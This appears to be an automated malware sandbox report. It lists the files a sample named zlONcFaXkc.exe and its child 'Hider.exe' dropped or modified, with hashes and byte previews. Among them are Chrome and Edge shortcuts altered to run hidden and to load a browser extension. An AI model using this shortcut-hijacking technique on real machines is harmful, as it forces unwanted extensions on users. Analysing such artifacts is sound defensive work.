File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Aug 5 21:41:46 2021, mtime=Tue Oct 3 11:10:59 2023, atime=Fri Sep 29 11:17:35 2023, length=4210216, window=hide
Category:	modified
Size (bytes):	2566
Entropy (8bit):	3.68716965568835
Encrypted:	false
SSDEEP:	48:8sQJG+dOSzrhs+frnzldRdJq+9Jq5dLXuHj0PkFmq4:8G2hIuD0Pkkq
MD5:	92EB75E728257031E47B78570EDFE928
SHA1:	D57EB43B2056B2FDB2A1914A628F63F39394AC0A
SHA-256:	39772088031D463517F9E314BB615F0CBD3661C886414F2B68C163E38E2F09F6
SHA-512:	2F755ABCB87CE7FE66CA388942536BDFCFD2F8B9508614381B9B3B4DFA29EB75132021D2C3CEB92B31DCD24408274B3BE04C05F557707D4A7924CAB09C903BAF
Malicious:	false
Preview:	L..................F.@.. .....\|.K....f......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....CWSa..PROGRA~2.........O.ICWSa....................V.......:.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....CW.`..MICROS~1..D......(Ux.CW.`..........................6\|..M.i.c.r.o.s.o.f.t.....N.1.....CW\a0.Edge..:.......S8.CW\a...........................AI.E.d.g.e.....`.1.....CW`a0.APPLIC~1..H.......S8.CW`a..........................r.N.A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.CW`a....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j............F.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe....B.r.o.w.s.e. .t.h.e. .w.e.b.H.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.1.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_zcezeaqsuhi.exe_2eccf0ba13a86cf1e1a7577debc3c62bd9f527_7718e8e7_69a45190-049e-4ed2-84e1-5c3b9073c72f\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1182872586915136
Encrypted:	false
SSDEEP:	192:rZmpWZAOY09LEEidaeTKpxVAdzuiF3Z24lO8HF:VmpROz9LEEida6YzwzuiF3Y4lO8HF
MD5:	20E64AA7825F272F0046A502D25F8EC1
SHA1:	C89C1E30B7576B87DC93C080EC5601F50B825352
SHA-256:	F03C31F456FEB3BEBB254E8F5F1398A0F90484BEF433584542C8D2BB023F8B59
SHA-512:	7A493394F91391C4D0208F86B21FB9F0C7E9BC25C037CB1290670B20B8A7F22E470B4BB69779CE49227956AEE50379AF754CBA085C6B7215A4E5AC8AD62426F2
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.3.7.9.7.2.9.0.9.0.6.7.3.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.3.7.9.7.4.0.4.3.6.8.2.7.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.9.a.4.5.1.9.0.-.0.4.9.e.-.4.e.d.2.-.8.4.e.1.-.5.c.3.b.9.0.7.3.c.7.2.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.7.b.d.a.8.e.d.-.7.1.5.7.-.4.9.9.c.-.8.0.b.6.-.2.0.3.d.4.4.6.d.b.b.6.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.z.c.e.z.e.a.q.s.u.h.i...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.H.i.d.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.5.4.-.0.0.0.1.-.0.0.1.4.-.0.3.6.0.-.1.c.7.f.c.1.9.5.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.d.e.3.3.2.2.8.e.a.1.f.5.3.d.f.3.f.e.6.e.0.3.1.2.2.3.1.b.4.c.6.0.0.0.0.0.0.0.0.!.0.0.0.0.9.3.7.5.3.6.4.9.f.a.f.e.3.3.4.d.2.b.d.1.c.5.c.9.6.0.2.7.c.6.6.b.d.6.c.f.b.c.6.c.!.z.c.e.z.e.a.q.s.u.h.i...

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD304.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Tue Apr 23 21:02:19 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	438038
Entropy (8bit):	2.6468840060476495
Encrypted:	false
SSDEEP:	1536:+wIgYH6txbsPvOHlgNAlpCxKlilCIuFlibu9ZyyJ5S2L1yZ9jCC8jH/1hK7EyhYN:hOH64OA24dcSQ21CCq+Jdx3+vR3
MD5:	3306ACD57ED08145D157E7E36C7E3E8D
SHA1:	DF6DC9160973D76F69400A953584184B65E024EF
SHA-256:	6DDC244FFE32AD2BCB7B90E90D301A5BCE667BCDF696BE73237644B867C003A8
SHA-512:	4F602CEF9A52CCA2FE18EB1256DA6B96E81A3B6C72E4F1D0117EAE3590BE6196F447C08311F2223B8329C177C06DA92F47C2C8F62B089904FE54AF472AF5DB4D
Malicious:	false
Preview:	MDMP..a..... ........!(f............t...........................p%...........%......t%..r{..........l.......8...........T............?...o...........,..........................................................................................eJ......p/......Lw......................T.......T....!(f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBBB.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	3.7012154357394533
Encrypted:	false
SSDEEP:	192:R6l7wVeJXj0X16YQ0jYGgmfQmpD789bK2bf+mJOm:R6lXJTs16YTjYGgmfQnKqf+m5
MD5:	7F59B8AC503A9CF3E8B698B1F8F8F9FA
SHA1:	F4A6A98F4D87CACA55FD94FA271A28AC229C30B1
SHA-256:	DEBF2417D8D709F4EE12246CEC4950516F6CCDE751FD58A28C15A37DA7345426
SHA-512:	0E91228A00AA6FBF46660CFE68BDF3E126D6D02F6E3BB0BE80AAF5F6172A8BA70C960E8BECF198AEF833BAFBFBA0732DBE6AB0531BC342A310514019FCC116E1
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFC29.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4746
Entropy (8bit):	4.495583414836915
Encrypted:	false
SSDEEP:	48:cvIwWl8zsbJg771I9tKWpW8VYZYm8M4JXMOKFCjyq85LWOlkzuKjNd:uIjf1I7ur7VpJcujVSkSKjNd
MD5:	26F6BD6B63899E5EB19CF6E21AD8B5CE
SHA1:	DE7A75B6900B15949B2F5674B71FC56870C254E6
SHA-256:	0A1D55D671FF012EEA9F9AE097FA57DE3B96CE49A8E72BF3CFD03AC3E3201154
SHA-512:	45E3EE979D8BF9B904EF05F45D8D35309816F25822C661B3303A5B4C478C29A5A40DF7190D7D40DFECD0B7B8363DEA3E350743E5C39DD17D3F7B27A117C25FD1
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="293045" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFC75.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	98256
Entropy (8bit):	3.0384212761285676
Encrypted:	false
SSDEEP:	1536:VnrTrb4ojCJI8ly77J+dHApTBDZyTfwzuhz6yW:VnrTrb4ojCJI8ly77J+dHApTBDZyTfw/
MD5:	F39AB1025C29A3A6BC93150441CC0BF9
SHA1:	237AC1B6B6BFA9486D86FE72B8A99804F43FF4FB
SHA-256:	2D46D8FAA70E4FD1D01FC5A20E2A959952BFDA05CCFC67811119C3A1404C3157
SHA-512:	D8CABE899B2A5F7ACB0864884225E3A529607AF72738914C0BD5399BFDFE1A594D5CC14764B9C47F8C4D51C1E7C55370693E5ABC1A37FEDE08D38942A6C3FAD4
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE4B.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6853617745549303
Encrypted:	false
SSDEEP:	96:TiZYWZhLgW1YXYCSrWl0cmHUYEZLAtHiB4enow+UGxNEaqQ1eMEa21I+c3:2ZDBgtblPedgaqQ1eMEdK+c3
MD5:	18BDA088B216C291941CE2808594E722
SHA1:	07F746366ACA1F4734389293EBA7712BB9C3B688
SHA-256:	89E7B87382E7B034A32D740839DE2B52BB767C6BD379872C201C6934B004E9A9
SHA-512:	DF24DD94667BB9617B48033FEB396F437B5BD3D797A717F2EAC58D6D988745C399E155D49F80246E12B172E0DAC8654F532DB75C9A1BA30C607D18B73A559CC8
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 11:02:30 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2208
Entropy (8bit):	3.5089681430446724
Encrypted:	false
SSDEEP:	48:8S6dATkoGRYrnvPdAKRkdA5q+9Jq87dAKRFdAKR/U:8Shtf
MD5:	ACE4F7DB2534925F7070124CA35DE0B9
SHA1:	FB1E6A056D2BC8EC98DE48F1106FF938F9036983
SHA-256:	D36448AEF435857BBB7A10324A39F8A1096CE708F3E7B8530926F736464F8495
SHA-512:	3A0B168BCBC04714DBAC679B362AF57F8EB119C1FF4550502203F1C4A004BD31EE94D2E327BAD9FD696B453B65E3CF4A4A10B5DD1B434FFBE31E1D211E86A227
Malicious:	false
Preview:	L..................F.@.. ......,..............q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DW.V..PROGRA~1..t......O.IDW5`....B...............J.....i...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWP`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWP`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWP`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDWI`..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.?. .-.-.l.o.a.d.-.e.x.t.e.n.s

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\zlONcFaXkc.exe.log

Download File

Process:	C:\Users\user\Desktop\zlONcFaXkc.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	838
Entropy (8bit):	5.356471432431617
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhRAE4KKUNCsXE4Npv:MxHKQwYHKGSI6oRAHKKkhHNpv
MD5:	E56A6A79CB531084A51F12C271BE7439
SHA1:	97A016CBE4C221936BAB8F76D33F7C021AA19ADF
SHA-256:	FA63B35C53D1B58B86D8C3CB3976AF7B7C096FD787EF1D33F63F5A31C87BC3E3
SHA-512:	B090CA13606574646D98D7B6F0FD5B16A7A6471FDC4F3CECDCFDDCC23925F97A3F0F5EEF3ECBE81A29B769FE7BCFF88DA0950FFD9A8D0FD2804F36171DE31D7A
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\8af759007c012da690062882e06694f1\System.Management.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\18807df7-e6b8-43eb-a965-3fc8fa8dc593.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\433817b6-fd93-48f6-b0dd-fb2ff4429f1e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28655
Entropy (8bit):	6.0533949914307374
Encrypted:	false
SSDEEP:	768:6F5kruq4eV5xmx3QX1j80VlOodC68bkegWWBUZ:6Fmi3KH1O68YegWW6Z
MD5:	605448E2FF74AC605F7986C6C76CB22D
SHA1:	0729F6463FC5732522D16A67315A7B3D1787EA08
SHA-256:	72CE3BE9171086B69549B64406E5234F7212EFC9578A726008A5ED716CCDF59D
SHA-512:	C1AAEEAF0D72028E1F429C13652352E0476C4EC231F8181EE34D9B53B80EE2F54DEB684ECE002AA44F060EA1F80E9A876461D521D2DF7CAADE92944AF4FA026A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"2D98E86C22A85D74DE9A317BE284280223E65F75C8F8F93CFC812C09FFD210F4\"","apps_count_check_time":"13358379730705967","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1713906135"},"domain_actions_config":"H4sIAAAAAAAAAL19a3PktrH2X1HpU5LyQNLe5M355HeziV3Jxi5nU656T6VUIIghIYIAF5eZ4bj83083ONJKOwRmmutzPngtUXxwY6Nv6G78evmdqa1z/N/f/biRzqlaXv7510s+DFoJHpQ1/vLP//2fby4HCw+UxN9+vTS8h9cu39eN/Pd3l99chnHA3wfuguL6ZzloLmQvTYC/bbiO+MfvoEn5i6z+rsLV65e37OWbiz/8/fuPH/7xzYVWnbz4mxSd/ePFu9bZXl7dXrNr9vL1y2/ZzfWLi3/xNXfqAYbdXt3AX25v37y8/O2bx/FM2KcjkvDqR9tJMz+mp+C/2H/a8LgGjy3Uzx4/eR9H8fbt/8rk376Fyb/69tUrdvvqeO7Tn29uXl+z16+Pp/9/Pqa5LwBE9U4r6O97ZYIvf4+jdw8D/PXSS7ES7Sry

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5652a66e-b171-4090-a3de-71036d446494.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8565
Entropy (8bit):	5.542961005579977
Encrypted:	false
SSDEEP:	96:7eqsNk5hMjrfm9d8OZKOmEih/cI2NURLl8RotoeyMu2EBdrVvlTQKe4WJkndc8pB:psNwhNb8jJdZiRUf4dfQrkndXIMbI0L
MD5:	F460B46212C8CCDBABB413616D6B9955
SHA1:	229E25B07BC10274D509286913EE640BCF420C10
SHA-256:	D69DFB605296B27EFAC4934907B753C56FF514304F30312CF8C9202708B5D70A
SHA-512:	2B7F237A8EAB38BF2BC86029327781775981E26824851D5CB7A2801C2913D7A9C1405955C93414FD382126A9FD1AF9C4F26452B164703288A7AFEB35638EE7E5
Malicious:	false
Preview:	{"apps_count_check_time":"13358379730705967","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1713906135"},"domain_actions_config":"H4sIAAAAAAAAAAMAAAAAAAAAAAA=","dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"edge_standalone_sidebar":{"upsell_tr

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	104016
Entropy (8bit):	4.636943023103589
Encrypted:	false
SSDEEP:	1536:B/lv4Es5MNTQjs5Vdw34PsiaR+tDvYXridW+8uh5k+:fwsQ45VdwIiS+GdeK5k+
MD5:	8953DB12CA2F12E4E87F399A29193FC5
SHA1:	87162F1CFD122BA30589FC971CD534FE1ACAF55D
SHA-256:	1F6202007CA20BEFB32D9CFE393AC51308F2AB76BE93DE8456C4AAB11CDE91C4
SHA-512:	ACA88AAC545A65BD5CD298DAFB067999268F4FDC22EBCFBF862CE245EBAA908D9D83DBB998F53AB8D7C0D5B691546DBD6568E62777632C7752F9334DA7EC0876
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\e252861a-11ce-4449-a12f-2ffb172b2e3e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	104016
Entropy (8bit):	4.636943023103589
Encrypted:	false
SSDEEP:	1536:B/lv4Es5MNTQjs5Vdw34PsiaR+tDvYXridW+8uh5k+:fwsQ45VdwIiS+GdeK5k+
MD5:	8953DB12CA2F12E4E87F399A29193FC5
SHA1:	87162F1CFD122BA30589FC971CD534FE1ACAF55D
SHA-256:	1F6202007CA20BEFB32D9CFE393AC51308F2AB76BE93DE8456C4AAB11CDE91C4
SHA-512:	ACA88AAC545A65BD5CD298DAFB067999268F4FDC22EBCFBF862CE245EBAA908D9D83DBB998F53AB8D7C0D5B691546DBD6568E62777632C7752F9334DA7EC0876
Malicious:	false
